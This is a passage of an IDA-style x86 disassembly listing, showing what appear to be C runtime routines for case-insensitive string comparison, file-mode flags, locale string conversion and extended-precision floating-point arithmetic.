loc_42FED7:				; CODE XREF: sub_42FE70+61j
		lock dec dword_4DB45C
		push	13h
		call	sub_41B780
		mov	[esp+10h+var_10], 1


loc_42FEEC:				; CODE XREF: sub_42FE70+65j
		mov	eax, 0FFh
		xor	ebx, ebx
		nop


loc_42FEF4:				; CODE XREF: sub_42FE70+90j
					; sub_42FE70+A8j
		or	al, al
		jz	short loc_42FF1F
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_42FEF4
		push	eax
		push	ebx
		call	sub_41A6D0
		mov	ebx, eax
		add	esp, 4
		call	sub_41A6D0
		add	esp, 4
		cmp	bl, al
		jz	short loc_42FEF4
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42FF1F:				; CODE XREF: sub_42FE70+86j
		mov	ebx, eax
		pop	eax
		or	eax, eax
		jnz	short loc_42FF2F
		lock dec dword_4DB45C
		jmp	short loc_42FF39
; ---------------------------------------------------------------------------


loc_42FF2F:				; CODE XREF: sub_42FE70+B4j
		push	13h
		call	sub_41B820
		add	esp, 4


loc_42FF39:				; CODE XREF: sub_42FE70+BDj
		mov	eax, ebx


loc_42FF3B:				; CODE XREF: sub_42FE70+51j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_42FE70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FF40	proc near		; CODE XREF: sub_42C160+11Bp
					; sub_42C160+2D4p ...

var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		or	ecx, ecx
		jz	loc_43003A
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		lea	eax, dword_4DB1B0
		cmp	dword ptr [eax+8], 0
		jnz	short loc_42FFB1
		mov	bh, 41h
		mov	bl, 5Ah
		mov	dh, 20h
		lea	ecx, [ecx+0]


loc_42FF6C:				; CODE XREF: sub_42FF40+53j
		mov	ah, [esi]
		or	ah, ah
		mov	al, [edi]
		jz	short loc_42FF95
		or	al, al
		jz	short loc_42FF95
		inc	esi
		inc	edi
		cmp	ah, bh
		jb	short loc_42FF84
		cmp	ah, bl
		ja	short loc_42FF84
		add	ah, dh


loc_42FF84:				; CODE XREF: sub_42FF40+3Cj
					; sub_42FF40+40j
		cmp	al, bh
		jb	short loc_42FF8E
		cmp	al, bl
		ja	short loc_42FF8E
		add	al, dh


loc_42FF8E:				; CODE XREF: sub_42FF40+46j
					; sub_42FF40+4Aj
		cmp	ah, al
		jnz	short loc_42FF9F
		dec	ecx
		jnz	short loc_42FF6C


loc_42FF95:				; CODE XREF: sub_42FF40+32j
					; sub_42FF40+36j
		xor	ecx, ecx
		cmp	ah, al
		jz	loc_43003A


loc_42FF9F:				; CODE XREF: sub_42FF40+50j
		mov	ecx, 0FFFFFFFFh
		jb	loc_43003A
		neg	ecx
		jmp	loc_43003A
; ---------------------------------------------------------------------------


loc_42FFB1:				; CODE XREF: sub_42FF40+21j
		lock inc dword_4DB45C
		cmp	dword_4DB458, 0
		jg	short loc_42FFC5
		push	0
		jmp	short loc_42FFDE
; ---------------------------------------------------------------------------


loc_42FFC5:				; CODE XREF: sub_42FF40+7Fj
		lock dec dword_4DB45C
		mov	ebx, ecx
		push	13h
		call	sub_41B780
		mov	[esp+10h+var_10], 1
		mov	ecx, ebx


loc_42FFDE:				; CODE XREF: sub_42FF40+83j
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, edi


loc_42FFE4:				; CODE XREF: sub_42FF40+CDj
		mov	al, [esi]
		or	eax, eax
		mov	bl, [edi]
		jz	short loc_43000F
		or	ebx, ebx
		jz	short loc_43000F
		inc	esi
		inc	edi
		push	ecx
		push	eax
		push	ebx
		call	sub_41A6D0
		mov	ebx, eax
		add	esp, 4
		call	sub_41A6D0
		add	esp, 4
		pop	ecx
		cmp	eax, ebx
		jnz	short loc_430015
		dec	ecx
		jnz	short loc_42FFE4


loc_43000F:				; CODE XREF: sub_42FF40+AAj
					; sub_42FF40+AEj
		xor	ecx, ecx
		cmp	eax, ebx
		jz	short loc_43001E


loc_430015:				; CODE XREF: sub_42FF40+CAj
		mov	ecx, 0FFFFFFFFh
		jb	short loc_43001E
		neg	ecx


loc_43001E:				; CODE XREF: sub_42FF40+D3j
					; sub_42FF40+DAj
		pop	eax
		or	eax, eax
		jnz	short loc_43002C
		lock dec dword_4DB45C
		jmp	short loc_43003A
; ---------------------------------------------------------------------------


loc_43002C:				; CODE XREF: sub_42FF40+E1j
		mov	ebx, ecx
		push	13h
		call	sub_41B820
		add	esp, 4
		mov	ecx, ebx


loc_43003A:				; CODE XREF: sub_42FF40+Bj
					; sub_42FF40+59j ...
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_42FF40	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		cmp	eax, dword_4DB560
		jnb	short loc_430081
		mov	ecx, [ebp+8]
		sar	ecx, 5
		mov	edx, [ebp+8]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_430091


loc_430081:				; CODE XREF: ___:0043005Dj
		call	sub_420520
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_4300BF
; ---------------------------------------------------------------------------


loc_430091:				; CODE XREF: ___:0043007Fj
		mov	edx, [ebp+8]
		push	edx
		call	sub_427BE0
		add	esp, 4
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_4300D0
		add	esp, 8
		mov	[ebp-4], eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_427C70
		add	esp, 4
		mov	eax, [ebp-4]


loc_4300BF:				; CODE XREF: ___:0043008Fj
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4300D0	proc near		; CODE XREF: sub_42CE20+D4p
					; sub_42CE20+1A6p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 80h
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_4], 8000h
		jnz	short loc_430139
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		mov	cl, [eax+edx+4]
		and	cl, 7Fh
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, dword_4DB460[edx*4]
		mov	[edx+eax+4], cl
		jmp	short loc_43018A
; ---------------------------------------------------------------------------


loc_430139:				; CODE XREF: sub_4300D0+2Ej
		cmp	[ebp+arg_4], 4000h
		jnz	short loc_43017A
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		mov	al, [edx+ecx+4]
		or	al, 80h
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	ecx, dword_4DB460[ecx*4]
		mov	[ecx+edx+4], al
		jmp	short loc_43018A
; ---------------------------------------------------------------------------


loc_43017A:				; CODE XREF: sub_4300D0+70j
		call	sub_420520
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	short loc_43019B
; ---------------------------------------------------------------------------


loc_43018A:				; CODE XREF: sub_4300D0+67j
					; sub_4300D0+A8j
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFC000h
		add	eax, 8000h


loc_43019B:				; CODE XREF: sub_4300D0+B8j
		mov	esp, ebp
		pop	ebp
		retn
sub_4300D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4301A0	proc near		; CODE XREF: sub_42D080+9Bp
					; sub_431230+2Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_8], 0
		jnz	short loc_4301AE
		xor	eax, eax
		jmp	short loc_4301EB
; ---------------------------------------------------------------------------


loc_4301AE:				; CODE XREF: sub_4301A0+8j
		mov	eax, dword_4DB564
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	1
		mov	edx, dword_4DB784
		push	edx
		call	sub_430B00
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4301E5
		mov	eax, 7FFFFFFFh
		jmp	short loc_4301EB
; ---------------------------------------------------------------------------


loc_4301E5:				; CODE XREF: sub_4301A0+3Cj
		mov	eax, [ebp+var_4]
		sub	eax, 2


loc_4301EB:				; CODE XREF: sub_4301A0+Cj
					; sub_4301A0+43j
		mov	esp, ebp
		pop	ebp
		retn
sub_4301A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4301F0	proc near		; CODE XREF: sub_42D080+2Dp
					; sub_430F50+81p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_4DB0D4
		mov	[ebp+var_4], eax


loc_4301FE:				; CODE XREF: sub_4301F0+A3j
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx], 0
		jz	loc_430298
		push	0
		push	0
		push	0
		push	0
		push	0FFFFFFFFh
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		push	eax
		push	0
		push	1
		nop
		call	near ptr 2710000h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_430232
		or	eax, 0FFFFFFFFh
		jmp	short loc_43029A
; ---------------------------------------------------------------------------


loc_430232:				; CODE XREF: sub_4301F0+3Bj
		push	3Dh
		push	offset dword_434EA0
		push	2
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_414DD0
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_430255
		or	eax, 0FFFFFFFFh
		jmp	short loc_43029A
; ---------------------------------------------------------------------------


loc_430255:				; CODE XREF: sub_4301F0+5Ej
		push	0
		push	0
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	edx
		push	0
		push	1
		call	near ptr 2710000h
		nop
		test	eax, eax
		jnz	short loc_43027C
		or	eax, 0FFFFFFFFh
		jmp	short loc_43029A
; ---------------------------------------------------------------------------


loc_43027C:				; CODE XREF: sub_4301F0+85j
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_430F50
		add	esp, 8
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		jmp	loc_4301FE
; ---------------------------------------------------------------------------


loc_430298:				; CODE XREF: sub_4301F0+14j
		xor	eax, eax


loc_43029A:				; CODE XREF: sub_4301F0+40j
					; sub_4301F0+63j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4301F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4302A0	proc near		; CODE XREF: sub_42DFD0+2B5p
					; sub_4306E0+B5p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	word ptr [ebp+var_2C], 0
		mov	[ebp+var_4], 0
		mov	[ebp+var_14], 0
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+0Ah]
		mov	word ptr [ebp+var_18], cx
		mov	edx, [ebp+arg_4]
		mov	ax, [edx+0Ah]
		mov	word ptr [ebp+var_20], ax
		mov	ecx, [ebp+var_18]
		and	ecx, 0FFFFh
		mov	edx, [ebp+var_20]
		and	edx, 0FFFFh
		xor	ecx, edx
		and	ecx, 8000h
		mov	word ptr [ebp+var_2C], cx
		mov	ax, word ptr [ebp+var_18]
		and	ax, 7FFFh
		mov	word ptr [ebp+var_18], ax
		mov	cx, word ptr [ebp+var_20]
		and	cx, 7FFFh
		mov	word ptr [ebp+var_20], cx
		mov	edx, [ebp+var_18]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_20]
		and	eax, 0FFFFh
		add	edx, eax
		mov	word ptr [ebp+var_30], dx
		mov	ecx, [ebp+var_18]
		and	ecx, 0FFFFh
		cmp	ecx, 7FFFh
		jge	short loc_43035D
		mov	edx, [ebp+var_20]
		and	edx, 0FFFFh
		cmp	edx, 7FFFh
		jge	short loc_43035D
		mov	eax, [ebp+var_30]
		and	eax, 0FFFFh
		cmp	eax, 0BFFDh
		jle	short loc_430394


loc_43035D:				; CODE XREF: sub_4302A0+9Bj
					; sub_4302A0+ACj
		mov	ecx, [ebp+var_2C]
		and	ecx, 0FFFFh
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		add	ecx, 7FFF8000h
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 0
		jmp	loc_4306D9
; ---------------------------------------------------------------------------


loc_430394:				; CODE XREF: sub_4302A0+BBj
		mov	edx, [ebp+var_30]
		and	edx, 0FFFFh
		cmp	edx, 3FBFh
		jg	short loc_4303C7
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+8], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 0
		jmp	loc_4306D9
; ---------------------------------------------------------------------------


loc_4303C7:				; CODE XREF: sub_4302A0+103j
		mov	eax, [ebp+var_18]
		and	eax, 0FFFFh
		test	eax, eax
		jnz	short loc_43040D
		mov	cx, word ptr [ebp+var_30]
		add	cx, 1
		mov	word ptr [ebp+var_30], cx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		and	eax, 7FFFFFFFh
		test	eax, eax
		jnz	short loc_43040D
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_43040D
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx], 0
		jnz	short loc_43040D
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax+0Ah], 0
		jmp	loc_4306D9
; ---------------------------------------------------------------------------


loc_43040D:				; CODE XREF: sub_4302A0+131j
					; sub_4302A0+14Cj ...
		mov	ecx, [ebp+var_20]
		and	ecx, 0FFFFh
		test	ecx, ecx
		jnz	short loc_430469
		mov	dx, word ptr [ebp+var_30]
		add	dx, 1
		mov	word ptr [ebp+var_30], dx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		and	ecx, 7FFFFFFFh
		test	ecx, ecx
		jnz	short loc_430469
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_430469
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_430469
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+8], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+4], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 0
		jmp	loc_4306D9
; ---------------------------------------------------------------------------


loc_430469:				; CODE XREF: sub_4302A0+178j
					; sub_4302A0+194j ...
		mov	[ebp+var_28], 0
		mov	[ebp+var_1C], 0
		jmp	short loc_430482
; ---------------------------------------------------------------------------


loc_430479:				; CODE XREF: sub_4302A0+29Cj
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	[ebp+var_1C], ecx


loc_430482:				; CODE XREF: sub_4302A0+1D7j
		cmp	[ebp+var_1C], 5
		jge	loc_430541
		mov	edx, [ebp+var_1C]
		shl	edx, 1
		mov	[ebp+var_24], edx
		mov	[ebp+var_8], 8
		mov	eax, 5
		sub	eax, [ebp+var_1C]
		mov	[ebp+var_34], eax
		jmp	short loc_4304B1
; ---------------------------------------------------------------------------


loc_4304A8:				; CODE XREF: sub_4302A0+28Ej
		mov	ecx, [ebp+var_34]
		sub	ecx, 1
		mov	[ebp+var_34], ecx


loc_4304B1:				; CODE XREF: sub_4302A0+206j
		cmp	[ebp+var_34], 0
		jle	short loc_430533
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_24]
		mov	[ebp+var_38], edx
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_3C], eax
		mov	ecx, [ebp+var_28]
		lea	edx, [ebp+ecx+var_14]
		mov	[ebp+var_40], edx
		mov	eax, [ebp+var_38]
		xor	ecx, ecx
		mov	cx, [eax]
		mov	edx, [ebp+var_3C]
		xor	eax, eax
		mov	ax, [edx]
		imul	ecx, eax
		mov	[ebp+var_44], ecx
		mov	ecx, [ebp+var_40]
		push	ecx
		mov	edx, [ebp+var_44]
		push	edx
		mov	eax, [ebp+var_40]
		mov	ecx, [eax]
		push	ecx
		call	sub_42D150
		add	esp, 0Ch
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jz	short loc_43051C
		mov	edx, [ebp+var_28]
		mov	ax, word ptr [ebp+edx+var_10]
		add	ax, 1
		mov	ecx, [ebp+var_28]
		mov	word ptr [ebp+ecx+var_10], ax


loc_43051C:				; CODE XREF: sub_4302A0+266j
		mov	edx, [ebp+var_24]
		add	edx, 2
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_8]
		sub	eax, 2
		mov	[ebp+var_8], eax
		jmp	loc_4304A8
; ---------------------------------------------------------------------------


loc_430533:				; CODE XREF: sub_4302A0+215j
		mov	ecx, [ebp+var_28]
		add	ecx, 2
		mov	[ebp+var_28], ecx
		jmp	loc_430479
; ---------------------------------------------------------------------------


loc_430541:				; CODE XREF: sub_4302A0+1E6j
		mov	dx, word ptr [ebp+var_30]
		sub	dx, 3FFEh
		mov	word ptr [ebp+var_30], dx


loc_43054E:				; CODE XREF: sub_4302A0+2DBj
		movsx	eax, word ptr [ebp+var_30]
		test	eax, eax
		jle	short loc_43057D
		mov	ecx, [ebp+var_C]
		and	ecx, 80000000h
		test	ecx, ecx
		jnz	short loc_43057D
		lea	edx, [ebp+var_14]
		push	edx
		call	sub_42D240
		add	esp, 4
		mov	ax, word ptr [ebp+var_30]
		sub	ax, 1
		mov	word ptr [ebp+var_30], ax
		jmp	short loc_43054E
; ---------------------------------------------------------------------------


loc_43057D:				; CODE XREF: sub_4302A0+2B4j
					; sub_4302A0+2C1j
		movsx	ecx, word ptr [ebp+var_30]
		test	ecx, ecx
		jg	short loc_4305DD
		mov	dx, word ptr [ebp+var_30]
		sub	dx, 1
		mov	word ptr [ebp+var_30], dx


loc_430591:				; CODE XREF: sub_4302A0+32Aj
		movsx	eax, word ptr [ebp+var_30]
		test	eax, eax
		jge	short loc_4305CC
		mov	ecx, [ebp+var_14]
		and	ecx, 0FFFFh
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_4305B2
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_4305B2:				; CODE XREF: sub_4302A0+307j
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_42D2A0
		add	esp, 4
		mov	cx, word ptr [ebp+var_30]
		add	cx, 1
		mov	word ptr [ebp+var_30], cx
		jmp	short loc_430591
; ---------------------------------------------------------------------------


loc_4305CC:				; CODE XREF: sub_4302A0+2F7j
		cmp	[ebp+var_4], 0
		jz	short loc_4305DD
		mov	dx, word ptr [ebp+var_14]
		or	dl, 1
		mov	word ptr [ebp+var_14], dx


loc_4305DD:				; CODE XREF: sub_4302A0+2E3j
					; sub_4302A0+330j
		mov	eax, [ebp+var_14]
		and	eax, 0FFFFh
		cmp	eax, 8000h
		jg	short loc_4305FD
		mov	ecx, [ebp+var_14]
		and	ecx, 1FFFFh
		cmp	ecx, 18000h
		jnz	short loc_43065E


loc_4305FD:				; CODE XREF: sub_4302A0+34Aj
		cmp	[ebp+var_14+2],	0FFFFFFFFh
		jnz	short loc_430655
		mov	[ebp+var_14+2],	0
		cmp	[ebp+var_10+2],	0FFFFFFFFh
		jnz	short loc_43064A
		mov	[ebp+var_10+2],	0
		mov	edx, [ebp+var_C+2]
		and	edx, 0FFFFh
		cmp	edx, 0FFFFh
		jnz	short loc_43063C
		mov	word ptr [ebp+var_C+2],	8000h
		mov	ax, word ptr [ebp+var_30]
		add	ax, 1
		mov	word ptr [ebp+var_30], ax
		jmp	short loc_430648
; ---------------------------------------------------------------------------


loc_43063C:				; CODE XREF: sub_4302A0+386j
		mov	cx, word ptr [ebp+var_C+2]
		add	cx, 1
		mov	word ptr [ebp+var_C+2],	cx


loc_430648:				; CODE XREF: sub_4302A0+39Aj
		jmp	short loc_430653
; ---------------------------------------------------------------------------


loc_43064A:				; CODE XREF: sub_4302A0+36Ej
		mov	edx, [ebp+var_10+2]
		add	edx, 1
		mov	[ebp+var_10+2],	edx


loc_430653:				; CODE XREF: sub_4302A0:loc_430648j
		jmp	short loc_43065E
; ---------------------------------------------------------------------------


loc_430655:				; CODE XREF: sub_4302A0+361j
		mov	eax, [ebp+var_14+2]
		add	eax, 1
		mov	[ebp+var_14+2],	eax


loc_43065E:				; CODE XREF: sub_4302A0+35Bj
					; sub_4302A0:loc_430653j
		mov	ecx, [ebp+var_30]
		and	ecx, 0FFFFh
		cmp	ecx, 7FFFh
		jl	short loc_4306A3
		mov	edx, [ebp+var_2C]
		and	edx, 0FFFFh
		neg	edx
		sbb	edx, edx
		and	edx, 80000000h
		add	edx, 7FFF8000h
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 0
		jmp	short loc_4306D9
; ---------------------------------------------------------------------------


loc_4306A3:				; CODE XREF: sub_4302A0+3CDj
		mov	eax, [ebp+arg_0]
		mov	cx, word ptr [ebp+var_14+2]
		mov	[eax], cx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_10]
		mov	[edx+2], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+6], edx
		mov	eax, [ebp+var_30]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_2C]
		and	ecx, 0FFFFh
		or	eax, ecx
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ah], ax


loc_4306D9:				; CODE XREF: sub_4302A0+EFj
					; sub_4302A0+122j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4302A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4306E0	proc near		; CODE XREF: sub_42D450+914p
					; sub_42DFD0+288p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, offset dword_444EA0
		sub	eax, 60h
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_4], 0
		jnz	short loc_4306FC
		jmp	loc_43079F
; ---------------------------------------------------------------------------


loc_4306FC:				; CODE XREF: sub_4306E0+15j
		cmp	[ebp+arg_4], 0
		jge	short loc_430715
		mov	ecx, [ebp+arg_4]
		neg	ecx
		mov	[ebp+arg_4], ecx
		mov	edx, offset dword_445000
		sub	edx, 60h
		mov	[ebp+var_4], edx


loc_430715:				; CODE XREF: sub_4306E0+20j
		cmp	[ebp+arg_8], 0
		jnz	short loc_430723
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax],	0


loc_430723:				; CODE XREF: sub_4306E0+39j
					; sub_4306E0+6Aj ...
		cmp	[ebp+arg_4], 0
		jz	short loc_43079F
		mov	ecx, [ebp+var_4]
		add	ecx, 54h
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		and	edx, 7
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_4]
		sar	eax, 3
		mov	[ebp+arg_4], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_43074C
		jmp	short loc_430723
; ---------------------------------------------------------------------------


loc_43074C:				; CODE XREF: sub_4306E0+68j
		mov	ecx, [ebp+var_18]
		imul	ecx, 0Ch
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cx, [eax]
		cmp	ecx, 8000h
		jl	short loc_43078D
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ebp+var_14], eax
		mov	ecx, [edx+4]
		mov	[ebp+var_10], ecx
		mov	edx, [edx+8]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14+2]
		sub	eax, 1
		mov	[ebp+var_14+2],	eax
		lea	ecx, [ebp+var_14]
		mov	[ebp+var_8], ecx


loc_43078D:				; CODE XREF: sub_4306E0+88j
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4302A0
		add	esp, 8
		jmp	short loc_430723
; ---------------------------------------------------------------------------


loc_43079F:				; CODE XREF: sub_4306E0+17j
					; sub_4306E0+47j
		mov	esp, ebp
		pop	ebp
		retn
sub_4306E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4307B0	proc near		; CODE XREF: sub_42F960+19Cp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_434EB0
		push	offset sub_426A54
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4DB440, 0
		jnz	short loc_430822
		push	0
		push	0
		push	1
		push	0
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_4307FD
		mov	dword_4DB440, 1
		jmp	short loc_430822
; ---------------------------------------------------------------------------


loc_4307FD:				; CODE XREF: sub_4307B0+3Fj
		push	0
		push	0
		push	1
		push	0
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_43081B
		mov	dword_4DB440, 2
		jmp	short loc_430822
; ---------------------------------------------------------------------------


loc_43081B:				; CODE XREF: sub_4307B0+5Dj
		xor	eax, eax
		jmp	loc_430931
; ---------------------------------------------------------------------------


loc_430822:				; CODE XREF: sub_4307B0+2Dj
					; sub_4307B0+4Bj ...
		cmp	dword_4DB440, 1
		jnz	short loc_430846
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610000h
		jmp	loc_430931
; ---------------------------------------------------------------------------


loc_430846:				; CODE XREF: sub_4307B0+79j
		cmp	dword_4DB440, 2
		jnz	loc_43092F
		cmp	[ebp+arg_10], 0
		jnz	short loc_430862
		mov	ecx, dword_4DB1C8
		mov	[ebp+arg_10], ecx


loc_430862:				; CODE XREF: sub_4307B0+A7j
		push	0
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 26F0000h
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_430884
		xor	eax, eax
		jmp	loc_430931
; ---------------------------------------------------------------------------


loc_430884:				; CODE XREF: sub_4307B0+CBj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		add	eax, 3
		and	al, 0FCh
		call	sub_417E20
